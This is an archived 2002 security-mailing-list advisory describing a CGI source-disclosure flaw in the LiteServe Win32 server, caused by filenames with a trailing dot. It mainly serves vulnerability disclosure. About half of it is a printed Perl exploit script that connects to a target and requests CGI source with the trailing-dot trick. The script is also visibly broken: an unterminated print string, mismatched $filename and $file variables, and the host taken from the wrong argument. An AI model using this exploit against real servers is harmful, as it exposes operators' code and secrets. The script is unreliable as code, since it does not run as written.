[NT] Perception LiteServe HTTP CGI Disclosure Vulnerability

From: support@securiteam.com
Date: 11/17/02

  • Next message: support@securiteam.com: "[UNIX] Netscape/Mozilla Contains an Exploitable Heap Corruption via JAR URI Handler" 
    From: support@securiteam.com
To: list@securiteam.com
Date: 17 Nov 2002 19:12:29 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Perception LiteServe HTTP CGI Disclosure Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    Christopher Fillion's "Perception" web site hosts the LiteServe
    combination server for Win32. The server offers HTTP, FTP, SMTP, POP3, and
    Telnet services. Included in the HTTP service is a Common Gateway
    Interface (CGI) feature that allows you to specify a CGI alias, as well as
    "filters" that are run when a file of a particular type is accessed.

    DETAILS

    A vulnerability in the server related to the handling of filenames on
    Win32 platforms may reveal the code of a desired CGI script to an
    attacker. Windows handles file names with the "." character (0x2E) on the
    end as if the said character had been removed. LiteServe fails to
    compensate for this behavior, and is vulnerable to a simple CGI disclosure
    attack.

    The upcoming release of LiteServe 2.03 should eliminate this
    vulnerability.

    Exploit:
    #!/usr/bin/perl
    #
    # LS_FETCH.PL
    # By Matthew Murphy
    # LiteServe 2.02 and prior - CGI Disclosure
    # Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
    use IO::Socket;
    use URI::Escape;

    $alias = "cgi-isapi"; # Default LiteServe CGI alias
    $port = 80;
    if (@ARGV < 2 || @ARGV > 4) {
    print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
    } else {
    if (@ARGV >= 3) {
    $alias = $ARGV[2];
    }
    if (@ARGV == 4) {
    $port = $ARGV[3];
    }
    $filename = $ARGV[1];
    $host = $ARGV[2];
    $f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
    $f->autoflush(1);
    $b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
    print $f $b;
    while (defined($line=<$f>)) {
    print STDOUT $line;
    }
    undef $f;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mattmurphy@kc.rr.com> Matt
    Murphy.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

    Relevant Pages